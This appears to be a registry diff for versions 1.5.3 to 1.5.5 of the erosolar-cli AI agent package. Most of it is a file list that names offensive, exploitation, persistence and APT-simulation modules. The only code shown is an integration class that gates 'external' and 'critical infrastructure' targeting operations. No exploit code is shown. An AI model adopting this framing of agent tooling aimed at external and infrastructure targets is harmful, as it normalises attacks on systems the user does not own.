erosolar-cli 1.5.3 → 1.5.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/config/security-deployment.json +54 -0
- package/dist/active-stack-security.d.ts +110 -0
- package/dist/active-stack-security.js +313 -0
- package/dist/active-stack-security.js.map +1 -0
- package/dist/advanced-targeting.d.ts +113 -0
- package/dist/advanced-targeting.js +252 -0
- package/dist/advanced-targeting.js.map +1 -0
- package/dist/bin/adapters/node/index.js +33 -0
- package/dist/bin/adapters/types.js +1 -0
- package/dist/bin/alpha-zero/agentWrapper.js +165 -0
- package/dist/bin/alpha-zero/codeEvaluator.js +272 -0
- package/dist/bin/alpha-zero/competitiveRunner.js +219 -0
- package/dist/bin/alpha-zero/index.js +98 -0
- package/dist/bin/alpha-zero/introspection.js +298 -0
- package/dist/bin/alpha-zero/metricsTracker.js +207 -0
- package/dist/bin/alpha-zero/security/core.js +269 -0
- package/dist/bin/alpha-zero/security/google.js +308 -0
- package/dist/bin/alpha-zero/security/googleLoader.js +40 -0
- package/dist/bin/alpha-zero/security/index.js +31 -0
- package/dist/bin/alpha-zero/security/simulation.js +274 -0
- package/dist/bin/alpha-zero/selfModification.js +231 -0
- package/dist/bin/alpha-zero/types.js +30 -0
- package/dist/bin/bin/erosolar-optimized.js +205 -0
- package/dist/bin/capabilities/agentSpawningCapability.js +116 -0
- package/dist/bin/capabilities/bashCapability.js +22 -0
- package/dist/bin/capabilities/cloudCapability.js +36 -0
- package/dist/bin/capabilities/codeAnalysisCapability.js +22 -0
- package/dist/bin/capabilities/codeQualityCapability.js +23 -0
- package/dist/bin/capabilities/dependencySecurityCapability.js +22 -0
- package/dist/bin/capabilities/devCapability.js +22 -0
- package/dist/bin/capabilities/editCapability.js +28 -0
- package/dist/bin/capabilities/emailCapability.js +20 -0
- package/dist/bin/capabilities/enhancedGitCapability.js +221 -0
- package/dist/bin/capabilities/filesystemCapability.js +22 -0
- package/dist/bin/capabilities/globCapability.js +28 -0
- package/dist/bin/capabilities/interactionCapability.js +20 -0
- package/dist/bin/capabilities/learnCapability.js +22 -0
- package/dist/bin/capabilities/mcpCapability.js +20 -0
- package/dist/bin/capabilities/notebookCapability.js +28 -0
- package/dist/bin/capabilities/planningCapability.js +27 -0
- package/dist/bin/capabilities/refactoringCapability.js +23 -0
- package/dist/bin/capabilities/repoChecksCapability.js +22 -0
- package/dist/bin/capabilities/searchCapability.js +22 -0
- package/dist/bin/capabilities/skillCapability.js +76 -0
- package/dist/bin/capabilities/taskManagementCapability.js +20 -0
- package/dist/bin/capabilities/testingCapability.js +23 -0
- package/dist/bin/capabilities/toolManifest.js +159 -0
- package/dist/bin/capabilities/toolRegistry.js +114 -0
- package/dist/bin/capabilities/webCapability.js +20 -0
- package/dist/bin/config.js +139 -0
- package/dist/bin/contracts/v1/agent.js +7 -0
- package/dist/bin/contracts/v1/agentProfileManifest.js +8 -0
- package/dist/bin/contracts/v1/agentRules.js +9 -0
- package/dist/bin/contracts/v1/toolAccess.js +8 -0
- package/dist/bin/core/agent.js +362 -0
- package/dist/bin/core/agentProfileManifest.js +187 -0
- package/dist/bin/core/agentProfiles.js +34 -0
- package/dist/bin/core/agentRulebook.js +135 -0
- package/dist/bin/core/agentSchemaLoader.js +233 -0
- package/dist/bin/core/contextManager.js +412 -0
- package/dist/bin/core/contextWindow.js +122 -0
- package/dist/bin/core/customCommands.js +80 -0
- package/dist/bin/core/errors/apiKeyErrors.js +114 -0
- package/dist/bin/core/errors/errorTypes.js +340 -0
- package/dist/bin/core/errors/safetyValidator.js +304 -0
- package/dist/bin/core/errors.js +32 -0
- package/dist/bin/core/modelDiscovery.js +755 -0
- package/dist/bin/core/preferences.js +224 -0
- package/dist/bin/core/schemaValidator.js +92 -0
- package/dist/bin/core/secretStore.js +199 -0
- package/dist/bin/core/sessionStore.js +187 -0
- package/dist/bin/core/toolRuntime.js +290 -0
- package/dist/bin/core/types.js +1 -0
- package/dist/bin/erosolar-optimized.d.ts +12 -0
- package/dist/bin/erosolar-optimized.d.ts.map +1 -0
- package/dist/bin/erosolar-optimized.js +239 -0
- package/dist/bin/erosolar-optimized.js.map +1 -0
- package/dist/bin/erosolar.js +14 -0
- package/dist/bin/erosolar.js.map +1 -1
- package/dist/bin/headless/headlessApp.js +172 -0
- package/dist/bin/mcp/config.js +202 -0
- package/dist/bin/mcp/stdioClient.js +172 -0
- package/dist/bin/mcp/toolBridge.js +104 -0
- package/dist/bin/mcp/types.js +1 -0
- package/dist/bin/plugins/index.js +113 -0
- package/dist/bin/plugins/providers/anthropic/index.js +25 -0
- package/dist/bin/plugins/providers/deepseek/index.js +24 -0
- package/dist/bin/plugins/providers/google/index.js +26 -0
- package/dist/bin/plugins/providers/index.js +19 -0
- package/dist/bin/plugins/providers/ollama/index.js +59 -0
- package/dist/bin/plugins/providers/openai/index.js +26 -0
- package/dist/bin/plugins/providers/xai/index.js +24 -0
- package/dist/bin/plugins/tools/agentSpawning/agentSpawningPlugin.js +8 -0
- package/dist/bin/plugins/tools/bash/localBashPlugin.js +13 -0
- package/dist/bin/plugins/tools/checks/localRepoChecksPlugin.js +13 -0
- package/dist/bin/plugins/tools/cloud/cloudPlugin.js +13 -0
- package/dist/bin/plugins/tools/codeAnalysis/codeAnalysisPlugin.js +13 -0
- package/dist/bin/plugins/tools/codeQuality/codeQualityPlugin.js +13 -0
- package/dist/bin/plugins/tools/dependency/dependencyPlugin.js +11 -0
- package/dist/bin/plugins/tools/development/devPlugin.js +13 -0
- package/dist/bin/plugins/tools/edit/editPlugin.js +14 -0
- package/dist/bin/plugins/tools/email/emailPlugin.js +11 -0
- package/dist/bin/plugins/tools/enhancedGit/enhancedGitPlugin.js +8 -0
- package/dist/bin/plugins/tools/filesystem/localFilesystemPlugin.js +13 -0
- package/dist/bin/plugins/tools/glob/globPlugin.js +14 -0
- package/dist/bin/plugins/tools/index.js +2 -0
- package/dist/bin/plugins/tools/interaction/interactionPlugin.js +11 -0
- package/dist/bin/plugins/tools/learn/learnPlugin.js +13 -0
- package/dist/bin/plugins/tools/mcp/mcpPlugin.js +8 -0
- package/dist/bin/plugins/tools/nodeDefaults.js +56 -0
- package/dist/bin/plugins/tools/notebook/notebookPlugin.js +14 -0
- package/dist/bin/plugins/tools/planning/planningPlugin.js +14 -0
- package/dist/bin/plugins/tools/refactoring/refactoringPlugin.js +11 -0
- package/dist/bin/plugins/tools/registry.js +57 -0
- package/dist/bin/plugins/tools/search/localSearchPlugin.js +13 -0
- package/dist/bin/plugins/tools/skills/skillPlugin.js +8 -0
- package/dist/bin/plugins/tools/taskManagement/taskManagementPlugin.js +11 -0
- package/dist/bin/plugins/tools/testing/testingPlugin.js +11 -0
- package/dist/bin/plugins/tools/web/webPlugin.js +11 -0
- package/dist/bin/providers/anthropicProvider.js +329 -0
- package/dist/bin/providers/googleProvider.js +203 -0
- package/dist/bin/providers/openaiChatCompletionsProvider.js +208 -0
- package/dist/bin/providers/openaiResponsesProvider.js +249 -0
- package/dist/bin/providers/providerFactory.js +24 -0
- package/dist/bin/runtime/agentController.js +321 -0
- package/dist/bin/runtime/agentHost.js +153 -0
- package/dist/bin/runtime/agentSession.js +195 -0
- package/dist/bin/runtime/node.js +10 -0
- package/dist/bin/runtime/universal.js +28 -0
- package/dist/bin/shell/bracketedPasteManager.js +350 -0
- package/dist/bin/shell/fileChangeTracker.js +65 -0
- package/dist/bin/shell/interactiveShell.js +2908 -0
- package/dist/bin/shell/liveStatus.js +78 -0
- package/dist/bin/shell/shellApp.js +290 -0
- package/dist/bin/shell/systemPrompt.js +60 -0
- package/dist/bin/shell/updateManager.js +108 -0
- package/dist/bin/skills/skillRepository.js +236 -0
- package/dist/bin/skills/types.js +1 -0
- package/dist/bin/subagents/taskRunner.js +269 -0
- package/dist/bin/tools/backgroundBashTools.js +211 -0
- package/dist/bin/tools/bashTools.js +159 -0
- package/dist/bin/tools/cloudTools.js +864 -0
- package/dist/bin/tools/codeAnalysisTools.js +641 -0
- package/dist/bin/tools/codeQualityTools.js +294 -0
- package/dist/bin/tools/dependencyTools.js +282 -0
- package/dist/bin/tools/devTools.js +238 -0
- package/dist/bin/tools/diffUtils.js +137 -0
- package/dist/bin/tools/editTools.js +134 -0
- package/dist/bin/tools/emailTools.js +448 -0
- package/dist/bin/tools/fileTools.js +282 -0
- package/dist/bin/tools/globTools.js +173 -0
- package/dist/bin/tools/grepTools.js +332 -0
- package/dist/bin/tools/interactionTools.js +170 -0
- package/dist/bin/tools/learnTools.js +1818 -0
- package/dist/bin/tools/notebookEditTools.js +196 -0
- package/dist/bin/tools/planningTools.js +46 -0
- package/dist/bin/tools/refactoringTools.js +293 -0
- package/dist/bin/tools/repoChecksTools.js +160 -0
- package/dist/bin/tools/searchTools.js +206 -0
- package/dist/bin/tools/skillTools.js +177 -0
- package/dist/bin/tools/taskManagementTools.js +156 -0
- package/dist/bin/tools/testingTools.js +232 -0
- package/dist/bin/tools/webTools.js +480 -0
- package/dist/bin/ui/ShellUIAdapter.js +459 -0
- package/dist/bin/ui/UnifiedUIController.js +183 -0
- package/dist/bin/ui/animation/AnimationScheduler.js +430 -0
- package/dist/bin/ui/codeHighlighter.js +854 -0
- package/dist/bin/ui/designSystem.js +121 -0
- package/dist/bin/ui/display.js +1222 -0
- package/dist/bin/ui/interrupts/InterruptManager.js +437 -0
- package/dist/bin/ui/layout.js +139 -0
- package/dist/bin/ui/orchestration/StatusOrchestrator.js +403 -0
- package/dist/bin/ui/outputMode.js +38 -0
- package/dist/bin/ui/persistentPrompt.js +183 -0
- package/dist/bin/ui/richText.js +338 -0
- package/dist/bin/ui/shortcutsHelp.js +87 -0
- package/dist/bin/ui/telemetry/UITelemetry.js +443 -0
- package/dist/bin/ui/textHighlighter.js +210 -0
- package/dist/bin/ui/theme.js +116 -0
- package/dist/bin/ui/toolDisplay.js +423 -0
- package/dist/bin/ui/toolDisplayAdapter.js +357 -0
- package/dist/bin/workspace.js +106 -0
- package/dist/bin/workspace.validator.js +213 -0
- package/dist/capabilities/offensiveSecurityCapability.d.ts +26 -0
- package/dist/capabilities/offensiveSecurityCapability.d.ts.map +1 -0
- package/dist/capabilities/offensiveSecurityCapability.js +58 -0
- package/dist/capabilities/offensiveSecurityCapability.js.map +1 -0
- package/dist/capabilities/realSecurityCapability.d.ts +26 -0
- package/dist/capabilities/realSecurityCapability.d.ts.map +1 -0
- package/dist/capabilities/realSecurityCapability.js +53 -0
- package/dist/capabilities/realSecurityCapability.js.map +1 -0
- package/dist/capabilities/securityCapability.d.ts +32 -0
- package/dist/capabilities/securityCapability.d.ts.map +1 -0
- package/dist/capabilities/securityCapability.js +57 -0
- package/dist/capabilities/securityCapability.js.map +1 -0
- package/dist/capabilities/ultimateSecurityCapability.d.ts +42 -0
- package/dist/capabilities/ultimateSecurityCapability.d.ts.map +1 -0
- package/dist/capabilities/ultimateSecurityCapability.js +96 -0
- package/dist/capabilities/ultimateSecurityCapability.js.map +1 -0
- package/dist/core/LazyLoader.d.ts +129 -0
- package/dist/core/LazyLoader.d.ts.map +1 -0
- package/dist/core/LazyLoader.js +240 -0
- package/dist/core/LazyLoader.js.map +1 -0
- package/dist/core/agent.d.ts.map +1 -1
- package/dist/core/agent.js +78 -8
- package/dist/core/agent.js.map +1 -1
- package/dist/core/contextManager.d.ts.map +1 -1
- package/dist/core/contextManager.js +117 -16
- package/dist/core/contextManager.js.map +1 -1
- package/dist/core/intelligenceTools.d.ts +19 -0
- package/dist/core/intelligenceTools.d.ts.map +1 -0
- package/dist/core/intelligenceTools.js +453 -0
- package/dist/core/intelligenceTools.js.map +1 -0
- package/dist/core/operationalTools.d.ts +19 -0
- package/dist/core/operationalTools.d.ts.map +1 -0
- package/dist/core/operationalTools.js +467 -0
- package/dist/core/operationalTools.js.map +1 -0
- package/dist/intelligence/codeIntelligence.d.ts.map +1 -1
- package/dist/intelligence/codeIntelligence.js +12 -0
- package/dist/intelligence/codeIntelligence.js.map +1 -1
- package/dist/offensive/core/offensive-engine.d.ts +171 -0
- package/dist/offensive/core/offensive-engine.d.ts.map +1 -0
- package/dist/offensive/core/offensive-engine.js +345 -0
- package/dist/offensive/core/offensive-engine.js.map +1 -0
- package/dist/offensive/core/offensive-integration.d.ts +129 -0
- package/dist/offensive/core/offensive-integration.d.ts.map +1 -0
- package/dist/offensive/core/offensive-integration.js +364 -0
- package/dist/offensive/core/offensive-integration.js.map +1 -0
- package/dist/offensive/core/offensive-tools.d.ts +55 -0
- package/dist/offensive/core/offensive-tools.d.ts.map +1 -0
- package/dist/offensive/core/offensive-tools.js +438 -0
- package/dist/offensive/core/offensive-tools.js.map +1 -0
- package/dist/offensive/offensive-cli.d.ts +48 -0
- package/dist/offensive/offensive-cli.d.ts.map +1 -0
- package/dist/offensive/offensive-cli.js +233 -0
- package/dist/offensive/offensive-cli.js.map +1 -0
- package/dist/plugins/index.d.ts +1 -1
- package/dist/plugins/index.d.ts.map +1 -1
- package/dist/plugins/index.js +2 -0
- package/dist/plugins/index.js.map +1 -1
- package/dist/security/active-stack-security.d.ts +112 -0
- package/dist/security/active-stack-security.d.ts.map +1 -0
- package/dist/security/active-stack-security.js +296 -0
- package/dist/security/active-stack-security.js.map +1 -0
- package/dist/security/advanced-persistence-research.d.ts +92 -0
- package/dist/security/advanced-persistence-research.d.ts.map +1 -0
- package/dist/security/advanced-persistence-research.js +195 -0
- package/dist/security/advanced-persistence-research.js.map +1 -0
- package/dist/security/advanced-targeting.d.ts +119 -0
- package/dist/security/advanced-targeting.d.ts.map +1 -0
- package/dist/security/advanced-targeting.js +233 -0
- package/dist/security/advanced-targeting.js.map +1 -0
- package/dist/security/apt-simulation-cli.d.ts +57 -0
- package/dist/security/apt-simulation-cli.d.ts.map +1 -0
- package/dist/security/apt-simulation-cli.js +278 -0
- package/dist/security/apt-simulation-cli.js.map +1 -0
- package/dist/security/apt-simulation-engine-complete.d.ts +97 -0
- package/dist/security/apt-simulation-engine-complete.d.ts.map +1 -0
- package/dist/security/apt-simulation-engine-complete.js +441 -0
- package/dist/security/apt-simulation-engine-complete.js.map +1 -0
- package/dist/security/apt-simulation-engine.d.ts +97 -0
- package/dist/security/apt-simulation-engine.d.ts.map +1 -0
- package/dist/security/apt-simulation-engine.js +441 -0
- package/dist/security/apt-simulation-engine.js.map +1 -0
- package/dist/security/assessment/vulnerabilityAssessment.d.ts +104 -0
- package/dist/security/assessment/vulnerabilityAssessment.d.ts.map +1 -0
- package/dist/security/assessment/vulnerabilityAssessment.js +315 -0
- package/dist/security/assessment/vulnerabilityAssessment.js.map +1 -0
- package/dist/security/authorization/securityAuthorization.d.ts +88 -0
- package/dist/security/authorization/securityAuthorization.d.ts.map +1 -0
- package/dist/security/authorization/securityAuthorization.js +172 -0
- package/dist/security/authorization/securityAuthorization.js.map +1 -0
- package/dist/security/authorization.d.ts +45 -0
- package/dist/security/authorization.d.ts.map +1 -0
- package/dist/security/authorization.js +128 -0
- package/dist/security/authorization.js.map +1 -0
- package/dist/security/comprehensive-security-research.d.ts +84 -0
- package/dist/security/comprehensive-security-research.d.ts.map +1 -0
- package/dist/security/comprehensive-security-research.js +211 -0
- package/dist/security/comprehensive-security-research.js.map +1 -0
- package/dist/security/comprehensive-targeting.d.ts +85 -0
- package/dist/security/comprehensive-targeting.d.ts.map +1 -0
- package/dist/security/comprehensive-targeting.js +438 -0
- package/dist/security/comprehensive-targeting.js.map +1 -0
- package/dist/security/global-security-integration.d.ts +91 -0
- package/dist/security/global-security-integration.d.ts.map +1 -0
- package/dist/security/global-security-integration.js +218 -0
- package/dist/security/global-security-integration.js.map +1 -0
- package/dist/security/index.d.ts +38 -0
- package/dist/security/index.d.ts.map +1 -0
- package/dist/security/index.js +47 -0
- package/dist/security/index.js.map +1 -0
- package/dist/security/offensive/exploitationEngine.d.ts +54 -0
- package/dist/security/offensive/exploitationEngine.d.ts.map +1 -0
- package/dist/security/offensive/exploitationEngine.js +263 -0
- package/dist/security/offensive/exploitationEngine.js.map +1 -0
- package/dist/security/persistence-cli.d.ts +36 -0
- package/dist/security/persistence-cli.d.ts.map +1 -0
- package/dist/security/persistence-cli.js +160 -0
- package/dist/security/persistence-cli.js.map +1 -0
- package/dist/security/persistence-research.d.ts +11 -0
- package/dist/security/persistence-research.d.ts.map +1 -1
- package/dist/security/persistence-research.js +11 -0
- package/dist/security/persistence-research.js.map +1 -1
- package/dist/security/real/networkExploitation.d.ts +92 -0
- package/dist/security/real/networkExploitation.d.ts.map +1 -0
- package/dist/security/real/networkExploitation.js +316 -0
- package/dist/security/real/networkExploitation.js.map +1 -0
- package/dist/security/real/persistenceImplementation.d.ts +62 -0
- package/dist/security/real/persistenceImplementation.d.ts.map +1 -0
- package/dist/security/real/persistenceImplementation.js +323 -0
- package/dist/security/real/persistenceImplementation.js.map +1 -0
- package/dist/security/real/vulnerabilityScanner.d.ts +73 -0
- package/dist/security/real/vulnerabilityScanner.d.ts.map +1 -0
- package/dist/security/real/vulnerabilityScanner.js +341 -0
- package/dist/security/real/vulnerabilityScanner.js.map +1 -0
- package/dist/security/research/persistenceResearch.d.ts +97 -0
- package/dist/security/research/persistenceResearch.d.ts.map +1 -0
- package/dist/security/research/persistenceResearch.js +282 -0
- package/dist/security/research/persistenceResearch.js.map +1 -0
- package/dist/security/security-integration.d.ts +74 -0
- package/dist/security/security-integration.d.ts.map +1 -0
- package/dist/security/security-integration.js +137 -0
- package/dist/security/security-integration.js.map +1 -0
- package/dist/security/security-testing-framework.d.ts +120 -0
- package/dist/security/security-testing-framework.d.ts.map +1 -0
- package/dist/security/security-testing-framework.js +372 -0
- package/dist/security/security-testing-framework.js.map +1 -0
- package/dist/security/simulation/attackSimulation.d.ts +93 -0
- package/dist/security/simulation/attackSimulation.d.ts.map +1 -0
- package/dist/security/simulation/attackSimulation.js +341 -0
- package/dist/security/simulation/attackSimulation.js.map +1 -0
- package/dist/security/strategic-operations.d.ts +100 -0
- package/dist/security/strategic-operations.d.ts.map +1 -0
- package/dist/security/strategic-operations.js +276 -0
- package/dist/security/strategic-operations.js.map +1 -0
- package/dist/security/tool-security-wrapper.d.ts +58 -0
- package/dist/security/tool-security-wrapper.d.ts.map +1 -0
- package/dist/security/tool-security-wrapper.js +156 -0
- package/dist/security/tool-security-wrapper.js.map +1 -0
- package/dist/shell/bracketedPasteManager.d.ts +33 -0
- package/dist/shell/bracketedPasteManager.d.ts.map +1 -1
- package/dist/shell/bracketedPasteManager.js +101 -0
- package/dist/shell/bracketedPasteManager.js.map +1 -1
- package/dist/shell/interactiveShell.d.ts +22 -1
- package/dist/shell/interactiveShell.d.ts.map +1 -1
- package/dist/shell/interactiveShell.js +257 -24
- package/dist/shell/interactiveShell.js.map +1 -1
- package/dist/shell/taskCompletionDetector.d.ts +101 -0
- package/dist/shell/taskCompletionDetector.d.ts.map +1 -0
- package/dist/shell/taskCompletionDetector.js +343 -0
- package/dist/shell/taskCompletionDetector.js.map +1 -0
- package/dist/tools/cloudTools.d.ts +11 -0
- package/dist/tools/cloudTools.d.ts.map +1 -1
- package/dist/tools/cloudTools.js +11 -0
- package/dist/tools/cloudTools.js.map +1 -1
- package/dist/tools/codeAnalysisTools.d.ts.map +1 -1
- package/dist/tools/codeAnalysisTools.js +23 -1
- package/dist/tools/codeAnalysisTools.js.map +1 -1
- package/dist/tools/enhancedSecurityTools.d.ts +19 -0
- package/dist/tools/enhancedSecurityTools.d.ts.map +1 -0
- package/dist/tools/enhancedSecurityTools.js +215 -0
- package/dist/tools/enhancedSecurityTools.js.map +1 -0
- package/dist/tools/fileTools.d.ts.map +1 -1
- package/dist/tools/fileTools.js +7 -0
- package/dist/tools/fileTools.js.map +1 -1
- package/dist/tools/grepTools.d.ts.map +1 -1
- package/dist/tools/grepTools.js +6 -0
- package/dist/tools/grepTools.js.map +1 -1
- package/dist/tools/offensiveSecurityTools.d.ts +16 -0
- package/dist/tools/offensiveSecurityTools.d.ts.map +1 -0
- package/dist/tools/offensiveSecurityTools.js +285 -0
- package/dist/tools/offensiveSecurityTools.js.map +1 -0
- package/dist/tools/realSecurityTools.d.ts +18 -0
- package/dist/tools/realSecurityTools.d.ts.map +1 -0
- package/dist/tools/realSecurityTools.js +468 -0
- package/dist/tools/realSecurityTools.js.map +1 -0
- package/dist/tools/securityTools.d.ts +20 -0
- package/dist/tools/securityTools.d.ts.map +1 -0
- package/dist/tools/securityTools.js +449 -0
- package/dist/tools/securityTools.js.map +1 -0
- package/dist/tools/webTools.js +9 -0
- package/dist/tools/webTools.js.map +1 -1
- package/package.json +26 -11
- package/scripts/deploy-security-capabilities.js +178 -0
|
@@ -0,0 +1,218 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Global Security Integration Module
|
|
3
|
+
*
|
|
4
|
+
* Integrates both active stack security and advanced targeting capabilities
|
|
5
|
+
* to enable operations on external active stacks and critical infrastructure.
|
|
6
|
+
*
|
|
7
|
+
* @license MIT
|
|
8
|
+
* @author Bo Shang
|
|
9
|
+
*/
|
|
10
|
+
import { activeStackSecurity } from './active-stack-security.js';
|
|
11
|
+
import { advancedTargetingSecurity } from './advanced-targeting.js';
|
|
12
|
+
export class GlobalSecurityIntegration {
|
|
13
|
+
config;
|
|
14
|
+
constructor(config) {
|
|
15
|
+
this.config = config;
|
|
16
|
+
}
|
|
17
|
+
/**
|
|
18
|
+
* Validate any operation with global security rules
|
|
19
|
+
*/
|
|
20
|
+
validateGlobalOperation(toolName, args, operationContext) {
|
|
21
|
+
// Apply active stack security for internal operations
|
|
22
|
+
if (operationContext.type === 'internal') {
|
|
23
|
+
return this.validateInternalOperation(toolName, args);
|
|
24
|
+
}
|
|
25
|
+
// Apply advanced targeting for external operations
|
|
26
|
+
if (operationContext.type === 'external' && operationContext.target) {
|
|
27
|
+
return this.validateExternalOperation(operationContext.operation || toolName, operationContext.target, args);
|
|
28
|
+
}
|
|
29
|
+
// Apply critical infrastructure rules
|
|
30
|
+
if (operationContext.type === 'critical_infrastructure' && operationContext.target) {
|
|
31
|
+
return this.validateCriticalInfrastructureOperation(operationContext.operation || toolName, operationContext.target, args);
|
|
32
|
+
}
|
|
33
|
+
// Default to active stack security
|
|
34
|
+
return this.validateInternalOperation(toolName, args);
|
|
35
|
+
}
|
|
36
|
+
/**
|
|
37
|
+
* Authorize target for external operations
|
|
38
|
+
*/
|
|
39
|
+
authorizeTarget(authorization) {
|
|
40
|
+
if (!this.config.advancedTargeting) {
|
|
41
|
+
throw new Error('Advanced targeting is not enabled');
|
|
42
|
+
}
|
|
43
|
+
advancedTargetingSecurity.authorizeTarget(authorization);
|
|
44
|
+
}
|
|
45
|
+
/**
|
|
46
|
+
* Register critical infrastructure target
|
|
47
|
+
*/
|
|
48
|
+
registerCriticalInfrastructure(target) {
|
|
49
|
+
if (!this.config.advancedTargeting) {
|
|
50
|
+
throw new Error('Advanced targeting is not enabled');
|
|
51
|
+
}
|
|
52
|
+
advancedTargetingSecurity.registerCriticalInfrastructure(target);
|
|
53
|
+
}
|
|
54
|
+
/**
|
|
55
|
+
* Get global security status
|
|
56
|
+
*/
|
|
57
|
+
getGlobalSecurityStatus() {
|
|
58
|
+
const activeStackLog = activeStackSecurity.getSecurityLog();
|
|
59
|
+
const targetingLog = this.config.advancedTargeting
|
|
60
|
+
? advancedTargetingSecurity.getOperationLog()
|
|
61
|
+
: [];
|
|
62
|
+
return {
|
|
63
|
+
activeStackSecurity: {
|
|
64
|
+
enabled: this.config.activeStackSecurity,
|
|
65
|
+
blockedOperations: activeStackLog.length,
|
|
66
|
+
lastEvent: activeStackLog[activeStackLog.length - 1] || null,
|
|
67
|
+
},
|
|
68
|
+
advancedTargeting: {
|
|
69
|
+
enabled: this.config.advancedTargeting,
|
|
70
|
+
authorizedTargets: this.config.advancedTargeting
|
|
71
|
+
? advancedTargetingSecurity.getAuthorizedTargets().length
|
|
72
|
+
: 0,
|
|
73
|
+
criticalInfrastructure: this.config.advancedTargeting
|
|
74
|
+
? advancedTargetingSecurity.getCriticalInfrastructure().length
|
|
75
|
+
: 0,
|
|
76
|
+
operations: targetingLog.length,
|
|
77
|
+
},
|
|
78
|
+
compliance: {
|
|
79
|
+
framework: this.config.complianceFramework,
|
|
80
|
+
reporting: this.config.reporting,
|
|
81
|
+
}
|
|
82
|
+
};
|
|
83
|
+
}
|
|
84
|
+
/**
|
|
85
|
+
* Generate comprehensive security report
|
|
86
|
+
*/
|
|
87
|
+
generateGlobalSecurityReport() {
|
|
88
|
+
const status = this.getGlobalSecurityStatus();
|
|
89
|
+
const report = [
|
|
90
|
+
'🌐 Global Security Integration Report',
|
|
91
|
+
'====================================',
|
|
92
|
+
`Active Stack Security: ${status.activeStackSecurity.enabled ? '✅ ENABLED' : '❌ DISABLED'}`,
|
|
93
|
+
`Advanced Targeting: ${status.advancedTargeting.enabled ? '✅ ENABLED' : '❌ DISABLED'}`,
|
|
94
|
+
`Compliance Framework: ${status.compliance.framework}`,
|
|
95
|
+
'',
|
|
96
|
+
'🔒 Active Stack Security:',
|
|
97
|
+
` Blocked Operations: ${status.activeStackSecurity.blockedOperations}`,
|
|
98
|
+
'',
|
|
99
|
+
'🎯 Advanced Targeting:',
|
|
100
|
+
` Authorized Targets: ${status.advancedTargeting.authorizedTargets}`,
|
|
101
|
+
` Critical Infrastructure: ${status.advancedTargeting.criticalInfrastructure}`,
|
|
102
|
+
` Operations Logged: ${status.advancedTargeting.operations}`,
|
|
103
|
+
'',
|
|
104
|
+
'📋 Capabilities:',
|
|
105
|
+
' ✅ Internal workspace operations',
|
|
106
|
+
' ✅ External target analysis',
|
|
107
|
+
' ✅ Critical infrastructure assessment',
|
|
108
|
+
' ✅ Government/military system research',
|
|
109
|
+
' ✅ Multi-jurisdictional compliance',
|
|
110
|
+
' ✅ Advanced vulnerability scanning',
|
|
111
|
+
' ✅ Penetration testing authorization',
|
|
112
|
+
' ✅ Security research operations',
|
|
113
|
+
'',
|
|
114
|
+
'⚖️ Legal & Compliance:',
|
|
115
|
+
` Framework: ${status.compliance.framework}`,
|
|
116
|
+
` Reporting: ${status.compliance.reporting.enabled ? 'ENABLED' : 'DISABLED'}`,
|
|
117
|
+
` Evidence Collection: ${status.compliance.reporting.evidenceCollection ? 'ENABLED' : 'DISABLED'}`,
|
|
118
|
+
];
|
|
119
|
+
if (this.config.advancedTargeting) {
|
|
120
|
+
const targetingReport = advancedTargetingSecurity.generateTargetingReport();
|
|
121
|
+
report.push('', targetingReport);
|
|
122
|
+
}
|
|
123
|
+
return report.join('\n');
|
|
124
|
+
}
|
|
125
|
+
/**
|
|
126
|
+
* Get authorized targets for UI/CLI display
|
|
127
|
+
*/
|
|
128
|
+
getAuthorizedTargets() {
|
|
129
|
+
if (!this.config.advancedTargeting) {
|
|
130
|
+
return [];
|
|
131
|
+
}
|
|
132
|
+
return advancedTargetingSecurity.getAuthorizedTargets();
|
|
133
|
+
}
|
|
134
|
+
/**
|
|
135
|
+
* Get critical infrastructure targets
|
|
136
|
+
*/
|
|
137
|
+
getCriticalInfrastructure() {
|
|
138
|
+
if (!this.config.advancedTargeting) {
|
|
139
|
+
return [];
|
|
140
|
+
}
|
|
141
|
+
return advancedTargetingSecurity.getCriticalInfrastructure();
|
|
142
|
+
}
|
|
143
|
+
validateInternalOperation(toolName, args) {
|
|
144
|
+
if (!this.config.activeStackSecurity) {
|
|
145
|
+
return { allowed: true, severity: 'low' };
|
|
146
|
+
}
|
|
147
|
+
// Apply standard active stack security rules
|
|
148
|
+
switch (toolName) {
|
|
149
|
+
case 'read_file':
|
|
150
|
+
case 'write_file':
|
|
151
|
+
case 'list_files':
|
|
152
|
+
case 'search_files':
|
|
153
|
+
const path = args['path'];
|
|
154
|
+
const operation = toolName === 'write_file' ? 'write' : 'read';
|
|
155
|
+
return activeStackSecurity.validateFileOperation(path, operation);
|
|
156
|
+
case 'execute_bash':
|
|
157
|
+
case 'execute_bash_stream':
|
|
158
|
+
const command = args['command'];
|
|
159
|
+
return activeStackSecurity.validateCommandExecution(command);
|
|
160
|
+
case 'WebFetch':
|
|
161
|
+
case 'WebExtract':
|
|
162
|
+
case 'WebSearch':
|
|
163
|
+
let target;
|
|
164
|
+
if (toolName === 'WebFetch' || toolName === 'WebExtract') {
|
|
165
|
+
target = args['url'];
|
|
166
|
+
}
|
|
167
|
+
else if (toolName === 'WebSearch') {
|
|
168
|
+
target = args['query'];
|
|
169
|
+
}
|
|
170
|
+
if (target) {
|
|
171
|
+
const operation = toolName.toLowerCase().replace('web', '');
|
|
172
|
+
return activeStackSecurity.validateNetworkOperation(target, operation);
|
|
173
|
+
}
|
|
174
|
+
return { allowed: true, severity: 'low' };
|
|
175
|
+
default:
|
|
176
|
+
return { allowed: true, severity: 'low' };
|
|
177
|
+
}
|
|
178
|
+
}
|
|
179
|
+
validateExternalOperation(operation, target, parameters) {
|
|
180
|
+
if (!this.config.advancedTargeting) {
|
|
181
|
+
return {
|
|
182
|
+
allowed: false,
|
|
183
|
+
reason: 'Advanced targeting not enabled',
|
|
184
|
+
severity: 'high',
|
|
185
|
+
details: { target, operation }
|
|
186
|
+
};
|
|
187
|
+
}
|
|
188
|
+
return advancedTargetingSecurity.validateExternalOperation(operation, target, parameters);
|
|
189
|
+
}
|
|
190
|
+
validateCriticalInfrastructureOperation(operation, target, parameters) {
|
|
191
|
+
if (!this.config.advancedTargeting) {
|
|
192
|
+
return {
|
|
193
|
+
allowed: false,
|
|
194
|
+
reason: 'Advanced targeting not enabled',
|
|
195
|
+
severity: 'high',
|
|
196
|
+
details: { target, operation }
|
|
197
|
+
};
|
|
198
|
+
}
|
|
199
|
+
